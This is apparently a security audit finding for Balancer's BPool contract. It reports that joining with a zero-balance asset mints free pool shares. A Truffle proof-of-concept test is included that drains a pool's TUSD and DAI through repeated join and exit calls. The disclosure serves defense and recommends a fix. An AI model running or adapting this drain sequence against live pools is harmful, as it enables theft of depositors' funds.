Attacker with large funds can steal the pool's assets

Severity: High Difficulty: High

Description

A pool with an empty asset's balance allows for anyone to generate unlimited free share tokens. As a result, such a pool can be emptied by an attacker.

joinswapPoolAmountOut is of the function to deposit a single asset: https://github.com/balancer-labs/balancer-core/blob/942a51e202cc5bf9158bad77162bc72aa0a8afaf/contracts/BPool.sol#L582-L604

If inRecord.balance is 0, calcSingleInGivenPoolOut will returns 0: https://github.com/balancer-labs/balancer-core/blob/942a51e202cc5bf9158bad77162bc72aa0a8afaf/contracts/BMath.sol#L147-L183

As a result, deposing assets in a pool with an empty balance generates free pool tokens.

An attacker with enough funds can empty any pool's asset. Pools with low liquidity or assets with low a decimals are more likely to be vulnerable

Exploit Scenario

Bob has a pool with $10,000 of TUSD (decimals 6) and $10,000 of DAI (decimals 18). Eve has $10,000,000. Eve buys all the TUSD from the pool, generates free pool tokens, and empties both assets from the pool. Eve stole $20,000.

A truffle test is provided below showing this scenario.

Recommendation

Short term, revert in joinswapPoolAmountOut if calcSingleInGivenPoolOut is zero.

Long term, consider to:

Check for the 0 value when transferring values if appropriate.
Use Echidna and Manticore to test the rounding effects

Testcase


const BPool = artifacts.require('BPool');
const BFactory = artifacts.require('BFactory');
const TToken = artifacts.require('TToken');
const TTokenFactory = artifacts.require('TTokenFactory');

contract('BPool', async (accounts) => {
    const admin = accounts[0];
    const user1 = accounts[1];
    const { toHex } = web3.utils;
    const { toWei } = web3.utils;
    const { fromWei } = web3.utils;
    const MAX = web3.utils.toTwosComplement(-1);

    let tokens; // token factory / registry
    let TUSD;
    let DAI;
    let tusd;
    let dai;
    let factory; // BPool factory
    let pool; // first pool w/ defaults
    let POOL; //   pool address

    const initial_balance = toWei('10000000', 'ether') // 10,000,000 * 10**18

    const initial_tusd_balance = toWei('10000000000', 'wei'); // 10,000 * 10**6
    const initial_dai_balance = toWei('10000000000000000000000', 'wei'); // 10,000 * 10**18 
    const initial_pool_share_supply = toWei('1', 'ether'); 

    before(async () => {
        tokens = await TTokenFactory.deployed();
        factory = await BFactory.deployed();

        POOL = await factory.newBPool.call();
        await factory.newBPool();
        pool = await BPool.at(POOL);

        await tokens.build(toHex('TUSD'), toHex('TUSD'), 6);
        await tokens.build(toHex('DAI'), toHex('DAI'), 18);

        TUSD = await tokens.get.call(toHex('TUSD'));
        tusd = await TToken.at(TUSD);

        DAI = await tokens.get.call(toHex('DAI'));
        dai = await TToken.at(DAI);

        // Admin balances
        await tusd.mint(admin, initial_balance); 
        await dai.mint(admin, initial_balance); 

        await dai.mint(user1, initial_balance);
    });

    describe('Test free money', () => {

        it('Admin approves tokens', async () => {
            await tusd.approve(POOL, MAX);
            await dai.approve(POOL, MAX);
            await tusd.approve(POOL, MAX, {from: user1});
            await dai.approve(POOL, MAX, {from: user1});
        });

        it('Admin binds tokens', async () => {
            await pool.bind(TUSD, initial_tusd_balance, toWei('1', 'ether'));
            await pool.bind(DAI, initial_dai_balance, toWei('5', 'ether'));
        });

        it('Admin set the pool public', async () => {
            await pool.finalize(initial_pool_share_supply);
        });

        it('User1 joins pool', async () => {

            var i;
            for (i = 0; i < 5; i++) { 
                console.log(i)
                await pool.joinswapPoolAmountOut(toWei('0.5', 'ether'), DAI, MAX, { from: user1 });
                await pool.joinswapPoolAmountOut(toWei('0.5', 'ether'), DAI, MAX, { from: user1 });
                await pool.joinswapPoolAmountOut(toWei('0.5', 'ether'), DAI, MAX, { from: user1 });
                await pool.joinswapPoolAmountOut(toWei('0.5', 'ether'), DAI, MAX, { from: user1 });
                await pool.exitswapPoolAmountIn(toWei('2', 'ether'), TUSD, 0, { from: user1 });
            }

            for (i = 0; i < 110; i++) { 
                console.log(i)
                await pool.joinswapPoolAmountOut(toWei('0.5', 'ether'), TUSD, 0, { from: user1 });
                await pool.exitswapPoolAmountIn(toWei('0.5', 'ether'), DAI, 0, { from: user1 });
            }

            const attacker_dai_balance = await dai.balanceOf(user1);
            const attacker_tusd_balance = await tusd.balanceOf(user1);
            console.log(toWei(initial_balance, 'ether'))
            console.log(fromWei(attacker_tusd_balance, 'ether'))
            console.log(fromWei(attacker_dai_balance, 'ether'))

            const poolTUSDBalance = await tusd.balanceOf(POOL);
            console.log(fromWei(poolTUSDBalance, 'wei'))
            assert.equal(0, fromWei(poolTUSDBalance));

            const poolDAIBalance = await dai.balanceOf(POOL);
            console.log(fromWei(poolDAIBalance, 'wei'))
            assert.equal(1, fromWei(poolDAIBalance, 'wei'));
        });

    });
});

balancer / balancer-core